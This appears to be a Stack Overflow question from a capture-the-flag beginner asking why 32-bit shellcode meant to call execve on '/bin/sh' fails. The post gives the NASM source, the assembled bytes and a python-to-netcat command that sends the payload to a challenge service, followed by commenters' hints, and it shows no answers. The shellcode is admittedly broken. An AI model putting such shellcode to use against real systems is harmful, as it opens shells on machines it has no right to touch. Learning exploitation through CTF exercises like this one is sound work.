0

I am a Shellcode beginner and I started some CTFs. But I am stuck at the most basic exercise.

Let's say I have a program. This program gives me the pointer address of execve : 0x8048450 Let's say there is a char array "\bin\sh" of which I also have the address : 0x80486a5

The vulnerable code is :

char input[4096];
read(0, input, 4096);
((func)&input)();

The problem is that I do not have many information on the architecture targeted because I have no binary but I think it is 32-bit.

Here is my code :

 section .text
 global _start

 _start:
     xor eax,eax
     xor ebx,ebx
     xor ecx,ecx
     xor edx,edx
     mov eax, 0x80486a5
     push eax
     call 0x8048450

Then I run :

nasm -f elf -o shellcode.o shellcode.asm

and

ld -o shellcode shellcode.o -m elf_i386

Which gives 

\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00

I execute

python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port

but nothing. Do I have to put a NOP sled to fulfill the byte array ?

Thank you for reading me !

Red
  • 9
  • 2
  • Remember that this is code that you're running. You can't just place addressees there, and expect things to happen. You need to load `input` with instruction bytes in the architecture you're targeting that push the string address to the stack, then call `execve`. – Thomas Jager Apr 21 '20 at 14:32
  • Thank you !! I edited my post from what I understood and where I am stuck right now. – Red Apr 21 '20 at 16:36
  • 1
    Using `int 0x80` is not how you call typically call a function. – Thomas Jager Apr 21 '20 at 21:29
  • You don't need to reverse the byte order in the memory addresses. The compiler will do this for you. – r3mainer Apr 22 '20 at 09:07
  • Oooh I think I am getting closer to understanding what is wrong. So following the advice of Thomas I am now using "call 0x8048450" and putting the address of the /bin/sh in eax. I am pushing it on the stack, I do not know if it is really necessary but in both cases, it is still not working. Should I change architecture ? Am I still doing something wrong ? – Red Apr 27 '20 at 21:59

0 Answers0